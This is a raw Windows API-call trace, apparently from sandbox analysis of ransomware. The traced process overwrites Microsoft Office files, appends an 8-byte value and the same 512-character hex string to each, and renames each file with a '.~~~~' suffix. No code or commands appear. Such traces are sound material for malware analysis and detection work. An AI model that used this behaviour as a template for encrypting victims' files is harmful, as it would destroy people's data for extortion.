	[0132.021] WriteFile (in: hFile=0x128, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0132.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0132.025] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.025] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.026] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.026] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.026] CloseHandle (hObject=0x128) returned 1
	[0132.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8be8
	[0132.026] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.~~~~")) returned 1
	[0132.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8be8 | out: hHeap=0x300000) returned 1
	[0132.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.028] GetLastError () returned 0x0
	[0132.029] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a13f0) returned 1
	[0132.030] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0132.030] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0132.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.030] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25202009324) returned 1
	[0132.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8227510, dwHighDateTime=0x1d60e1e)) 
	[0132.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0132.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd578
	[0132.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd578 | out: hHeap=0x300000) returned 1
	[0132.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0132.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0132.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0132.031] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.031] GetLastError () returned 0x0
	[0132.031] GetLastError () returned 0x0
	[0132.031] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.031] GetLastError () returned 0x0
	[0132.032] GetLastError () returned 0x0
	[0132.112] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff6c80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.112] WriteFile (in: hFile=0x128, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0x9380, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x25dfec0*=0x9380, lpOverlapped=0x0) returned 1
	[0132.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0132.115] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.115] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.115] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.115] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.115] CloseHandle (hObject=0x128) returned 1
	[0132.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38efb8
	[0132.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.~~~~")) returned 1
	[0132.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38efb8 | out: hHeap=0x300000) returned 1
	[0132.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.117] GetLastError () returned 0x0
	[0132.269] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a13f0) returned 1
	[0132.270] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.270] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.270] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25226030850) returned 1
	[0132.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8488b10, dwHighDateTime=0x1d60e1e)) 
	[0132.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29abb78
	[0132.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29abb78 | out: hHeap=0x300000) returned 1
	[0132.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398f30
	[0132.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398f30 | out: hHeap=0x300000) returned 1
	[0132.271] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.271] GetLastError () returned 0x0
	[0132.271] GetLastError () returned 0x0
	[0132.271] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.271] GetLastError () returned 0x0
	[0132.271] GetLastError () returned 0x0
	[0132.331] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff822d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.331] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7dd3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x7dd3, lpOverlapped=0x0) returned 1
	[0132.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0132.334] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.334] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.335] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.335] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.335] CloseHandle (hObject=0x13c) returned 1
	[0132.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x397fc0
	[0132.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif.~~~~")) returned 1
	[0132.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x397fc0 | out: hHeap=0x300000) returned 1
	[0132.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.337] GetLastError () returned 0x0
	[0132.338] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.339] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.339] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.339] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25232935647) returned 1
	[0132.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8521090, dwHighDateTime=0x1d60e1e)) 
	[0132.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809610
	[0132.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809610 | out: hHeap=0x300000) returned 1
	[0132.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.340] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.340] GetLastError () returned 0x0
	[0132.341] GetLastError () returned 0x0
	[0132.341] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.341] GetLastError () returned 0x0
	[0132.341] GetLastError () returned 0x0
	[0132.342] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.343] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0132.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0132.345] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.345] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.345] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.345] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.346] CloseHandle (hObject=0x13c) returned 1
	[0132.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f09b0
	[0132.346] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif.~~~~")) returned 1
	[0132.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f09b0 | out: hHeap=0x300000) returned 1
	[0132.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.495] GetLastError () returned 0x0
	[0132.496] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.497] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.497] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.497] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25248713419) returned 1
	[0132.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb869de50, dwHighDateTime=0x1d60e1e)) 
	[0132.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809450
	[0132.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809450 | out: hHeap=0x300000) returned 1
	[0132.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.498] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.498] GetLastError () returned 0x0
	[0132.498] GetLastError () returned 0x0
	[0132.498] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.499] GetLastError () returned 0x0
	[0132.499] GetLastError () returned 0x0
	[0132.511] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffebd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.511] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x143, lpOverlapped=0x0) returned 1
	[0132.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.514] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.514] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.514] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.514] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.515] CloseHandle (hObject=0x13c) returned 1
	[0132.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x29e1838
	[0132.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif.~~~~")) returned 1
	[0132.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e1838 | out: hHeap=0x300000) returned 1
	[0132.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.517] GetLastError () returned 0x0
	[0132.517] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.519] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.519] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.519] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25250938373) returned 1
	[0132.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb86ea110, dwHighDateTime=0x1d60e1e)) 
	[0132.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809418
	[0132.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809418 | out: hHeap=0x300000) returned 1
	[0132.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
